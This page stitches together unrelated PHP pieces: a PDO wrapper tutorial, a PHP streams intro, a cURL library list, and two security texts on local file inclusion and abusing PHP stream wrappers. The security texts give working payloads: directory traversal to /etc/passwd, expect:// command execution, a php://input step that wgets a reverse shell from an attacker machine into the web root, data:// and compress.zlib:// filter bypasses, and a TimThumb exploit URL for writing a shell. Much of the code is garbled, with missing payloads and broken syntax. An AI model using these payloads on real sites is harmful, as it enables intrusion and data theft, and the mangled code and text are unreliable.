Introduction to PHP Streams. How PHP wrappers can be used to attack web applications What ZIP contains


The main disadvantage of both PDO and mysqli when working with prepared expressions is that their built-in functions are designed for multiple execution of a prepared query (when prepare is called only once, and then execute() is called many times with different data). This is why they are so verbose. But the trouble is that in practice in PHP it is quite rare to fulfill such requests. As a result, for most queries you have to write unnecessary code every time:

$stmt = $pdo -> prepare ($sql );
$stmt -> execute ($params);
$data = $stmt -> fetch();

As they say, what they fought for, that’s what they ran into. There was no code reduction compared to the ever-memorable mysql_query(). I would really like to!
At the same time, Wes Furlong played another trick on PDO users - execute() returns a stupid Boolean value instead of returning a statement, which would allow implementing method chaining and getting beautiful code like

$data = $pdo -> prepare ($sql )-> execute ($params )-> fetch ();

But alas, even this approach is almost inaccessible. And in any case, it is redundant, since in most cases we do not need to do either prepare or execute - we just need to stupidly execute the damn request, passing the damn data for placeholders into it.

Therefore, in order to reduce the amount of writing, we will add one function to PDO, run(), the entire function of which will be reduced to the above code - execute prepare/execute and return a statement:

class MyPDO extends PDO
{
public function run ($sql, $args = NULL)
{
$stmt = $this -> prepare ($sql );
$stmt -> execute ($args);
return $stmt ;
}
}

And from the statement we can get any data, in any standard way:

$data = $pdo -> run ( "SELECT * FROM users WHERE sex="male"")->fetchAll();

Problem N2, accessibility
Another unpleasant discovery for beginners is that PDO cannot be accessed anywhere in the script, like mysql_query().

Therefore, the next improvement would be to implement access to the PDO through a static singleton. This pattern is often criticized on the Internet, and for good reason. But here you need to understand one simple thing:
If your code is susceptible to the problems that a singleton can cause, it means that you are already using a high-level database driver, most likely from a popular framework.
But if you have just crawled out of the mysql_query() cave, having gotten used to writing it throughout your code without worrying about passing connections, then having to carry a PDO instance with you will be a serious test. Despite the fact that the syntax of PDO itself, and the prepared expressions themselves, do not form such a frail entry threshold. So let’s try to sweeten the pill with the ability to access the database from anywhere in the script, just like in the good old days.

The end result is a very compact PDO add-on that, while being as easy to use as mysql_query(), also reduces code and provides prepared expression safety.

Code

define ("DB_HOST" , "localhost" );
define ("DB_NAME" , "test" );
define ("DB_USER" , "root" );
define ("DB_PASS" , "" );
define ("DB_CHAR" , "utf8" );

class DB
{
protected static $instance = null ;

Public function __construct()()
public function __clone()()

Public static function instance()
{
if (self :: $instance === null )
{
$opt = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => TRUE,
);
$dsn = "mysql:host=" . DB_HOST. ";dbname=" . DB_NAME. ";charset=" . DB_CHAR ;
self :: $instance = new PDO ($dsn, DB_USER, DB_PASS, $opt);
}
return self :: $instance ;
}

Public static function __callStatic ($method, $args)
{
return call_user_func_array (array(self :: instance(), $method), $args );
}

Public static function run ($sql , $args = )
{
if (! $args )
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> execute ($args);
return $stmt ;
}
}

Examples

# Create a table
DB::query( "CREATE temporary TABLE pdowrapper (id int auto_increment primary key, name varchar(255))");

# multiple execution of prepared expressions
$stmt = DB::prepare( "INSERT INTO pdowrapper VALUES (NULL, ?)");
foreach ([ "Sam" , "Bob" , "Joe" ] as $name )
{
$stmt -> execute([ $name ]);
}
var_dump(DB::lastInsertId());
//string(1) "3"

# Receiving strings in a loop
$stmt = DB::run("SELECT * FROM pdowrapper");
while ($row = $stmt -> fetch (PDO :: FETCH_LAZY ))
{
echo $row [ "name" ], "," ;
echo $row -> name , "," ;
echo $row [ 1 ], PHP_EOL ;
}
/*
Sam, Sam, Sam
Bob, Bob, Bob
Joe, Joe, Joe
*/

# Get one line
$id = 1 ;
$row = DB::run( "SELECT * FROM pdowrapper WHERE id=?", [ $id ])-> fetch();
var_export($row);
/*
array (
"id" => "1",
"name" => "Sam",
*/

# Getting one field
$name = DB::run( "SELECT name FROM pdowrapper WHERE id=?", [ $id ])-> fetchColumn();
var_dump($name);
//string(3) "Sam"

# Get all strings into an array
$all = DB::run( "SELECT name, id FROM pdowrapper")->fetchAll(PDO::FETCH_KEY_PAIR);
var_export($all);
/*
array (
"Sam" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Update table
$new = "Sue" ;
$stmt = DB::run( "UPDATE pdowrapper SET name=? WHERE id=?", [ $new , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFI stands for Local File Includes- it’s a file local inclusion vulnerability that allows an attacker to include files that exist on the target web server. Typically this is exploited by abusing dynamic file inclusion mechanisms that don’t sanitize user input.

Scripts that take filenames as parameters without sanitizing the user input are good candidates for LFI vulnerabilities, a good example would be the following PHP script foo.php?file=image.jpg which takes image.jpg as a parameter. An attacker would simply replace image.jpg and insert a payload. Normally a directory traversal payload is used that escapes the script directory and traverses the filesystem directory structure, exposing sensitive files such as foo.php?file=../../../../../../.. /etc/passwd or sensitive files within the web application itself. Exposing sensitive information or configuration files containing SQL usernames and passwords.

Note: In some cases, depending on the nature of the LFI vulnerability it’s possible to run system executables.

How to get a Shell from LFI

Below are some techniques I’ve used in the past to gain a shell on systems with vulnerable LFI scripts exposed.

Path Traversal aka Directory Traversal

As mentioned above Traverse the filesystem directory structure to disclose sensitive information about the system that can help you gain a shell, usernames / passwords etc.

PHP Wrapper expect:// LFI

Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.

An example of PHP expect:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Below is the error received if the PHP expect wrapper is disabled:

Warning : include () : Unable to find the wrapper "expect" - did you forget to enable it when you< br >configured PHP? in /var/www/fileincl/example1. php on line 7 Warning : include () : Unable to find the< br >wrapper "expect" - did you forget to enable it when you configured PHP ? in< br >/var/www/fileincl/example1. php on line 7 Warning: include (expect://ls): failed to open stream: No such file or directory in /var/www/fileincl/example1. php on line 7 Warning : include () : Failed opening "expect://ls" for inclusion (include_path = ".:/usr/share/php:/usr/share/pear") in /var/www/fileincl/example1. php on line 7

PHP Wrapper php://file

Another PHP wrapper, php://input your payload is sent in a POST request using curl, burp or hackbar to provide the post data is probably the easiest option.

Http://192.168.183.128/fileincl/example1.php?page=php://input

Post Data payload, try something simple to start with like:

Then try and download a from your attacking machine using:

"wget ​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

After uploading execute the reverse shell at http://192.168.183.129/shell.php

PHP Wrapper php://filter

Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI Method

If it’s possible to include /proc/self/environ from your vulnerable LFI script, then code execution can be leveraged by manipulating the User Agent parameter with Burp. After the PHP code has been introduced /proc/self/environ can be executed via your vulnerable LFI script.

/proc/self/fd/ LFI Method

Similar to the previous /proc/self/environ method, it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the referer .

This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2 , /proc/self/fd/10 etc. I’d recommend brute forcing the directory structure of the /proc/self/fd/ directory with Burp Intruder + FuzzDB’s LFI-FD-Check.txt list of likely proc files, you can then monitor the returned page sizes and investigate.

fimap LFI Pen Testing Tool

fimap is a tool used on pen tests that automates the above processes of discovering and exploiting LFI scripts. Upon discovering a vulnerable LFI script fimap will enumerate the local filesystem and search for writable log files or locations such as /proc/self/environ . Another tool commonly used by pen tests to automate LFI discovery is Kali’s dotdotpwn, which works in a similar way.

fimap + phpinfo() Exploit

Fimap exploits PHP’s temporary file creation via Local File Inclusion by abusing PHPinfo() information disclosure glitch to reveal the location of the created temporary file.

If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

In programming you constantly have to work with various resources: files, sockets, http connections. And they all have some kind of access interface, often incompatible with each other. Therefore, in order to eliminate these inconsistencies and unify work with various data sources, starting with PHP 4.3 were invented PHP Streams - streams.

Although PHP 4.3 came out a long time ago, many PHP programmers have a very vague idea about threads in PHP, and continue to use CURL everywhere, although in PHP There is a more convenient alternative for this in the form Stream Context.

The following types of streams exist in PHP:

  • File on hard drive;
  • HTTP connection with a website;
  • Compound UDP with the server;
  • ZIP file;
  • File * .mp3.

What do all these resources have in common? All of them can be read and written, i.e. read and write operations can be applied to all of them. Force PHP streams The trick is that you can access all of these resources using the same set of functions. It is very comfortable. Also, if such a need suddenly arises, you can write your own implementation of the thread handler "stream wrapper". In addition to reading and writing, streams in PHP also allows you to perform other operations such as renaming and deleting.

Programming on PHP, You have already encountered threads, although you may not have realized it. So, functions that work with streams are fopen(), file_get_contents(), file() etc. So, in fact, you are already using file streams all this time, completely transparently.

To work with another type of stream, you must specify its protocol (wrapper) in the following way: wrapper://some_stream_resource, Where wrapper://- this is, for example http://, file://, ftp://, zip:// etc., and some_stream_resource - URI, identifies what you want to open. URI does not impose any restrictions on the format. Examples:

  • http://site/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://user: [email protected]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

However, please note that not all protocols and handlers may work for you, since support for some shells depends on your settings. Therefore, to find out which protocols are supported, you need to run the following script:

// list of registered socket transports
print_r(stream_get_transports());

// list of registered threads (handlers)
print_r(stream_get_wrappers());

// list of registered filters
print_r(stream_get_filters();

PHP Thread Contexts

Often there is a need to specify additional parameters when making an http request. Thread contexts solve this problem by allowing you to specify additional parameters. Many thread-aware functions have an optional thread context parameter. Let's look at the function file_get_contents():

String file_get_contents(string $filename [, int $flags = 0 [, resource $context [, int $offset = -1 [, int $maxlen = -1]]]])

As you can see, the thread context is passed as the third parameter. Contexts are created using the function stream_context_create(), which takes an array and returns a context resource.

$options = array(
"http" => array(
"method" => "GET",
"header" => "Accept-language: en\r\n".
"Cookie: foo = bar\r\n"
);

$context = stream_context_create($options);

// Using this with file_get_contents ...
echo file_get_contents("http://www.example.com/", 0, $context);

So today we learned what it is threads and thread contexts in PHP, looked at examples of their use, and in the following articles we will talk about stream metadata and create our own handler.

The flexibility of the programming language adds convenience to developers, but also opens up new attack vectors. PHP developers often use so-called wrappers and do not even suspect that this can lead to bypassing the security filters built into the application and, for example, allow arbitrary code to be executed on the server. Today we will talk about wrappers, their features and the threats associated with them.

WARNING

All information is provided for informational purposes only. Neither the editors nor the author are responsible for any possible harm caused by using the materials in this article.

Intro

Vulnerabilities associated with the wrapper mechanism implemented in PHP have been discussed for quite some time. Links to them are present in OWASP TOP 10 and WASC TCv2. However, a number of features of the implementation of data encoding lead to the fact that even applications developed with security requirements in mind may contain vulnerabilities (including critical ones). In this article, we'll first take a quick look at what PHP wrappers are and how they can be useful to programmers. Then we will analyze their features, which allow you to bypass the security filters built into the application and implement attacks related to unauthorized access to the file system and execution of arbitrary code.

Wrappers

PHP has such a thing as streams, which appeared in the interpreter starting with version 4.3.0. It is an abstract layer for working with files, network, compressed data and other resources using a single set of functions. In its simplest definition, a thread is a resource that has "thread-like" behavior. That is, a resource from which you can read, into which you can write, and within which you can navigate. For example, consider the fopen function. According to the official documentation, it has the following syntax:

Resource fopen(string $filename, string $mode [, bool $use_include_path = false [, resource $context ]])

where $filename can be the path to a local file. It is well known that you can get the contents of local files like this:

$handle = fopen($file, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) print $contents;

But in addition to the trivial path to the file, so-called wrappers can be used. The best way to explain what this is is to give some examples. So, using wrappers through the same fopen function, it becomes possible:

  • download files from FTP: ftp://user: [email protected]/pub/file.txt;
  • contact, if access to them is limited, to server-status/server-info via IP: http://127.0.0.1/server-status;
  • access file descriptors opened for reading (PHP >= 5.3.6): php://fd/XXX;
  • and even execute OS commands (if the expect extension is installed): expect://ls.

Wrappers (also known as protocol handlers or wrappers) tell functions how to process data from a stream. Therefore, functions that support wrappers can be used to obtain data from various sources. Wrappers allow you to flexibly and conveniently process data entering the program through any stream, as well as modify it if necessary.

In the example considered, wrappers were used in read mode. If data is being recorded, then in this case wrappers can also expand the capabilities of many functions. For example, the copy() function supports wrappers in both of its arguments, and if the second argument uses a php://output wrapper, then the copied file is sent to the output buffer. Thus, the copy() function allows you not only to copy files, but also to read them.

Copy("/etc/passwd" , "php://output");

Similarly, you can use the file_put_contents function and any other function that supports the wrapper in write mode:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 introduced the php://fd wrapper, which provides direct access to file descriptors. If PHP is installed as an Apache module, the php://fd wrapper makes it possible to write arbitrary data to access_log/error_log (usually the permissions on these files are 644, and only root can write directly to them).

It must be said that PHP has quite a lot of built-in wrappers, but you can create and register your own wrappers using the stream_wrapper_register function. You can find more detailed information on the official PHP website. The full list of available wrappers can be found in the phpinfo - Registered PHP Streams section.

Some wrappers have undocumented features that allow you to more effectively exploit web application vulnerabilities. It is these features that we will consider today.

What does ZIP contain?

ZIP is a popular data compression and file archiving format. Support for this format is implemented in all modern operating systems, and libraries for working with it have been written for most programming languages. In PHP, it is convenient to use the zip module to work with this format.

On Linux systems, the zip module becomes available if PHP is compiled with the --enable-zip option. You can archive not only individual files, but also entire directories; To preserve the directory structure, it is permissible to use a slash / in the names of files added to the archive. Another important feature of the zip module is the ability to process files with an arbitrary name: the main thing is that the contents of the file be a correctly formed zip archive.

Creating a zip archive $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "close();

Once the zip archive is created, you can use the zip:// wrapper to directly access the files inside the archive.

Reading a file from a zip archive print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

The ability to archive files with a slash in their names allows you to exploit Remote File Include vulnerabilities in the absence of a null byte. For example, consider the following simple script:

$s = $_POST["path"]; include $s."/header.html";

Of course, you can achieve code execution in this case in different ways. But the use of wrappers http://, ftp://, data:// is limited by the allow_url_include directive, and the use of a null byte when including local files is most likely prevented by the magic_quotes_gpc directive. And it may even seem that with allow_url_include=Off and magic_quotes_gpc=On there is no way to exploit the vulnerability. But there is another way, not previously described in the public!

To begin with, let’s assume that it is possible to create files on the attacked server. Then, by creating a zip archive as shown in the example above, it is possible to execute the PHP code using the zip:// wrapper.

Path=zip:///tmp/any_name_zip_arxiv#/my

If it is not possible to create the required file using a PHP function, then you can use temporary files that PHP creates when loading content through an HTML form. The path to the temporary file can be found from phpinfo(). More detailed information on how to use temporary files when exploiting vulnerabilities such as LFI/RFI can be found on the rdot.org forum. It is important to note that the allow_url_fopen directive does not restrict the use of the zip:// wrapper.

Where is my data://?

The data:// wrapper has attracted the attention of web security experts since its inception. The official documentation suggests using this wrapper in a very limited form. But according to the RFC 2379 specification, this wrapper allows a more extensive syntax:

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" parameter) data:= *urlchar parameter:= attribute "=" value

In this case, mediatype can either be completely absent or filled with arbitrary values:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

This wrapper feature can be used to bypass checks and filters. For example, the popular TimThumb v1.x script has the following filter:

Function validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); )

You can bypass this check as follows:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

There is a function in PHP called stream_get_meta_data(). According to the official documentation, it extracts metadata from streams and file pointers:

Array stream_get_meta_data (resource $stream)

At the same time, the returned array contains elements with clearly defined keys, and the task of adding new elements to this array looks at first glance quite problematic. But with the data:// wrapper you can manipulate this array quite easily! How? Let me give you an example:

$password = "secret"; $file = $_POST["file"]; $fp = fopen($file, "r"); extract(stream_get_meta_data($fp)); if ($mediatype === "text/plain") ( ... ) if ($_COOKIE["admin"] === $password) ( ... )

If you use the data wrapper in the $file variable instead of the local file name,

POST DATA: file=data://text/plain;password=mysecret;base64

then you can easily override the $password parameter and, using cookies, pass authorization.

Cookie: admin=mysecret

Cold compress

According to the documentation, the compress.zlib:// wrapper allows you to unpack gz archives. If you use this wrapper to process data that is not a zlib archive, then the data is returned unchanged.

Readfile("compress.zlib:///etc/hosts");

"Very helpful!" - you might think :). It will be cooler now. If you've done any PHP programming for the web, you're probably familiar with the prase_url() function. Let me remind you that this function parses URLs. And here there is one interesting point: the function input can be provided not only with a URL, but also with a string of a rather general type:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Given this feature, you can bypass various checks and filters based on the parse_url function using multifunctional wrappers. For example, consider the following script, which, according to the developers, can only download files from the trusted host img.youtube.com.

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["path"], 4)); copy($ src, "./".$name); )

In normal mode, previews from img.youtube.com are loaded as follows:

POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

In this case, the filter can also be bypassed using the compress.zlib:// wrapper.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

In addition, it’s quite easy to bypass the hostname filter and upload a file with an arbitrary name and content to the server using the data:// wrapper we previously discussed:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

In this case, local files will be copied to the preview folder: if this folder is accessible for direct access from the browser, then it becomes possible to view system files. This example shows that using data:// and compress.zlib:// wrappers can be useful in scripts that download files from remote hosts. One such script is TimThumb.


Exploiting vulnerabilities in TimThumb v1.x

TimThumb is a popular image script used in many WordPress themes and plugins. In August 2011, a critical vulnerability was found in the TimThumb v 1.32 script, which allows files with PHP code to be uploaded to the attacked server instead of images from trusted hosts. Almost overnight, an adviser appeared in the public domain, detailing the exploitation of this vulnerability.

The essence of the vulnerability was that the script incorrectly checked the URL against the list of trusted hosts from which it was possible to download images. To bypass filters, for example, on the trusted host blogger.com, it was proposed to register a fourth-level domain containing the URL of the trusted host, for example blogger.com.attacker.com, and download files from this domain.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

In this way, it was possible to exploit the vulnerability up to version 1.32 (revision 142). But newer versions were also vulnerable. Let's look at how images are loaded in version 1.34 (revision 145):

Function check_external ($src) ( .................... $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $filename; if (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ")!==false)( if (!validate_url ($src)) display_error ("invalid url"); $url_info = parse_url ($src); ............ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query" ]); ...................... if (function_exists ("curl_init")) ( ............... ....... $fh = fopen ($local_filepath, "w"); $ch = curl_init ($src); ....... ................ curl_setopt ($ch, CURLOPT_URL, $src); ................................ curl_setopt ($ch, CURLOPT_FILE, $fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ........................ .......... $file_infos = getimagesize ($local_filepath); if (empty ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) ( unlink ($local_filepath); touch($local_filepath); ......................

It is easy to see that several logical errors were made when designing the check_external function:

  1. After most checks are completed, the parse_str function receives unfiltered user data. Thus, you can override the variables that were previously checked: $url_info['host'], $src, $local_filepath. Therefore, it is possible to download files from any server.
  2. After uploading a file to the server, it is checked based on getimagesize whether the file is an image. If the check fails, the file is deleted. But since it is possible to influence the $local_filepath variable, the local file can be accessed using the wrappers php://filter, compress.zlib://. And in this case, the unlink function will not be able to delete the file.

After some digging, I wrote an exploit to download files. With an arbitrary name and with arbitrary content, to an arbitrary location in the system.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

The 1.x branch ends with revision 149, which also contains vulnerabilities. In this revision, the parse_str function has already been removed and therefore it is not possible to overwrite variables. But filters that check the validity of a URL only check for the occurrence of matching substrings in the $src string. Moreover, if the curl_init function is not available on the attacked server, then files are downloaded using file_get_contents/file_put_contents. It is important to note that these functions, unlike curl_init, support all wrappers available in PHP.

If(!$img = file_get_contents($src)) ( display_error("remote file for " . $src . "can not be accessed. It is likely that the file permissions are restricted"); ) if(file_put_contents($local_filepath, $img) == FALSE) ( display_error ("error writing temporary file"); )

Thus, using the data:// wrapper, you can bypass all filters and create a file in the cache directory with arbitrary content:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Or use the compress.zlib:// wrapper to copy a local file to the cache:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

The benefit is that files from the cache can be accessed directly, resulting in RCE being achieved by writing a shell using the data wrapper, and also getting the contents of local files using compress.zlib.

Instead of a conclusion

It is obvious that the wrappers built into PHP provide great opportunities for exploiting vulnerabilities such as File Manipulation. But it is worth noting that even the simplest checks based on the functions file_exists, is_file, filesize will not allow you to use wrappers. Also, when the Suhosin patch is installed, by default it is impossible to use wrappers in includes, even if the allow_url_include directive is set to On. At this point, I do not close the topic of using wrappers and in the next article I will talk about the capabilities of the php://filter wrapper using examples of exploiting vulnerabilities in popular web engines. Stay tuned!

Are the kings, however sometimes according to the size or importance of your project, you don"t need such a library but only cURL. The point is that cURL with the default syntax can become tedious to work with, so you may want to use a wrapper that simplifies many tasks and makes the execution of requests easier. In this top, we want to share with you 7 of the best wrappers libraries available for cURL on the web.

7. Curl by dcai

This wrapper offers an abstraction layer that simplifies the syntax of the PHP cURL Library:

$http = new dcai\curl; // enable cache $http = new dcai\curl(array("cache"=>true)); // enable cookie $http = new dcai\curl(array("cookie"=>true)); // enable proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // POST RAW $xml = " perform"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("file"=>"/var/www/test.txt");

6.CurlWrapper

CurlWrapper is a flexible wrapper class for PHP cURL extension. You can easily initialize an instance of the library with:

Try ( $curl = new CurlWrapper(); ) catch (CurlWrapperException $e) ( echo $e->getMessage(); )

The CurlWrapper object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify an url to request and optionally specify an associative array or query string of variables to send along with it:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. Rolling cURLx

Rolling Curl is an easy to use cURL Multi wrapper for PHP with a very cool name. It aims at making concurrent http requests in PHP as easy as possible. First initialize class with the maximum number of concurrent requests you want open at a time:

$RCX = new RollingCurlX(10);

All requests after this will be queued until one completes:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //set to NULL if not using POST $user_data = ["foo", $whatever]; $options = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //how long the request took in milliseconds (float) $request_info; //array returned by curl_getinfo($ch), plus a couple extras ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Send the requests. Blocks until all requests complete or timeout:

$RCX->execute();

4. PHP Curl

PHP Curl is a very Simple PHP curl wrapper class for cURL. According to the author, this class is the smallest possible OOP wrapper for PHP"s curl capabilities. Note that this is not meant as a high-level abstraction. You should still know how "pure PHP" curl works, you need to know the curl options to set, and you need to know some HTTP basics. It"s syntax is developer friendly:

// newRequest, newJsonRequest and newRawRequest returns a Request object $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $request->send();

3.Curl Easy

Curl Easy is wrapper for the cURL extension of PHP. Supports parallel and non-blocking requests. This is small but powerful and robust library which speeds the things up. If you are tired of using PHP cURL extension with its procedural interface, but you want also keep control about script execution it"s great choice for you. This library:

  • widely unit tested.
  • lightweight library with moderate level interface. It's not all-in-one library.
  • parallel/asynchronous connections with very simple interface.
  • attaching/detaching requests in parallel on run time!
  • support for callbacks, so you can control execution process.
  • intelligent setters as alternative to CURLOPT_* constants.
  • if you know the cURL php extension, you don"t have to learn things from beginning

It's syntax is pretty easy to understand as well:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $response = $request->send(); $feed = json_decode($response->getContent(), true); echo "Current Bitcoin price: " . $feed["data"]["rate"] . " " . $feed["data"]["code"] . "\n";

2. Curl by Shuber

Curl library is a basic CURL wrapper for PHP. The Curl object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify a url to request and optionally specify an associative array or string of variables to send along with it. Simply require and initialize the Curl class like so:

Require_once "curl.php"; $curl = new Curl; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # The Curl object will append the array of $vars to the $url as a query string $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class is a very well written wrapper of cURL that makes really easy to send HTTP requests and integrate with any kind of web APIs. PHP Curl Class works with PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1, and HHVM. This library is widely known and offers a really easy syntax:

Require __DIR__ . "/vendor/autoload.php"; use\Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Error: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Response:" . "\n"; var_dump($curl->response); )

If you know another awesome wrapper library for the cURL extension written in PHP, please share it with the community in the comment box.